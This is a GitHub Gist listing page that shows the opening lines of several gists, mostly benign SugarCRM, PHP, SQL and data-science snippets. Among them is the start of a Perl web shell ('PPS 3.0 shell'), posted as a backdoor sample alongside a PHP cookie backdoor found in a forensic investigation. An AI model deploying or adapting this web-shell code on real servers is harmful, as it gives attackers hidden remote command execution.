Skip to content

Instantly share code, notes, and snippets.

# importing libraries
#for versions checkout requirements.txt
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
#importing and reading data sets
data = pd.read_csv("bmi_and_life.csv")
@jonaslejon
jonaslejon / PHP-cookie-backdoor.php
Last active February 27, 2023 05:10
This is a PHP COOKIE backdoor that was found during a forensic investigation
@jonaslejon
jonaslejon / cgi.pl
Created October 24, 2015 10:57
Perl www backdoor
#!/usr/bin/perl
#PPS 3.0 shell by Pashkela [RDOT.ORG] © 2012
$Password="bb09c55983ff49f3a9cdfd83f08e5689";# root
$CommandTimeoutDuration=30;# max time of command execution
$tab='<table>';$tbb="<table width=100%";$verd="<font face=Verdana size=1>";$tabe='</table>';$div='<div class=content><pre class=ml1>';$dive='</pre></div>';use Digest::MD5 qw(md5_hex
);$WinNT=0;$NTCmdSep="&";$UnixCmdSep=";";$ShowDynamicOutput=1;$CmdSep=($WinNT?$NTCmdSep:$UnixCmdSep);$CmdPwd=($WinNT?"cd":"pwd");$PathSep=($WinNT?"\\":"/");$Redirector=($WinNT?" 2>&
1 1>&2":" 1>&1 2>&1");$LogFlag=false;use File::Basename;use MIME::Base64;my @last:shared;sub cod($){my $url=~s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;$url=encode_base64($_[0]);return
$url;}sub dec($){ my $url1=decode_base64($_[0]);return $url1;}sub ReadParse {local (*in)=@_ if @_;local($i,$loc,$key,$val);$MultipartFormData=$ENV{'CONTENT_TYPE'}=~/multipart\/form
-data; boundary=(.+)$/;if($ENV{'REQUEST_METHOD'} eq "GET"){$in=$ENV{'QUERY_STRING'};}elsif($ENV{'REQUEST_METHOD'} eq "POST")
@matthewpoer
matthewpoer / account_team_info
Created February 19, 2015 20:13
Queries to reveal an Account record's Teams and Users through the Team Set (team_set_id)
-- Reference: Query to fetch information for a specific Account's teams
-- (ignores team_id, focus on team_set_id)
select accounts.id, accounts.name, accounts.team_id, accounts.team_set_id,
teams.id, teams.name, teams.description
from accounts
join team_sets on accounts.team_set_id = team_sets.id and team_sets.deleted=0
join team_sets_teams on team_sets_teams.team_set_id = team_sets.id and team_sets_teams.deleted=0
join teams on teams.id = team_sets_teams.team_id and teams.deleted=0
where accounts.id = 'SOMEACCOUNTID' and accounts.deleted=0;
@elchele
elchele / subpanels.js
Last active August 29, 2015 14:06
Subpanel layout controller to hide empty subpanels
({
/* Author: Angel Magaña -- cheleguanaco@cheleguanaco.com
* File: ./custom/clients/base/layouts/subpanels/subpanels.js
*
* Extended subpanels layout controller for hiding
* subpanels without data upon parent record load (Sugar 7.2+)
*
* This customization applies to all modules
*/
@chadhutchins
chadhutchins / gist:a7d14f77a765e2608d39
Created June 4, 2014 23:54
Sample use of app re-sync in Sugar 7 in post_install script
window.parent.SUGAR.App.sync({callback: function(){
window.parent.SUGAR.App.router.navigate('#your_module/layout/license', {trigger:true, replace:true});
}});
@RaduW
RaduW / DataTable Reload.md
Last active July 26, 2018 02:55
Testing dataTables reloading ( I need to completely change the structure, content and also columns).

Datatables reloading

( changing the content and the column structure).

Unfortunately I couldn't find a way to do it in one go. There is the table.fnDestroy(true); but this removes the <table> element from the page as well. We could use this but then we need to wrap the table element in a div in order to have a place where to recreate the table.

<?php
# Linear connection info for connecting to FTP
# set up basic connection
$ftp_server = "ftp.yourserver.com";
$ftp_user = "Username";
$ftp_pass = "Password";
$ftp_conn = ftp_connect($ftp_server);
$ftp_login = ftp_login($ftp_conn, $ftp_user, $ftp_pass);
@andreiz
andreiz / classifier.php
Last active July 12, 2022 12:50
A simple example of logistic regression via gradient descent in PHP.
<?php
error_reporting(E_ALL);
define('NUM_FEATURES', 3);
// My dataset describes cities around the world where I might consider living.
// Each sample (city) consists of 3 features:
// * Feature 1: average low winter temperature in the city
// * Feature 2: city population, in millions
@chadhutchins
chadhutchins / accounts_logic_hook.php
Created November 28, 2012 22:01
Installing Global Logic Hooks in SugarCRM using the Module Loader
<?php
class Accounts_logic_hook_class
{
function Accounts_logic_hook_method(&$bean, $event, $arguments)
{
echo "Hit the Accounts before save logic hook";
exit;
}
}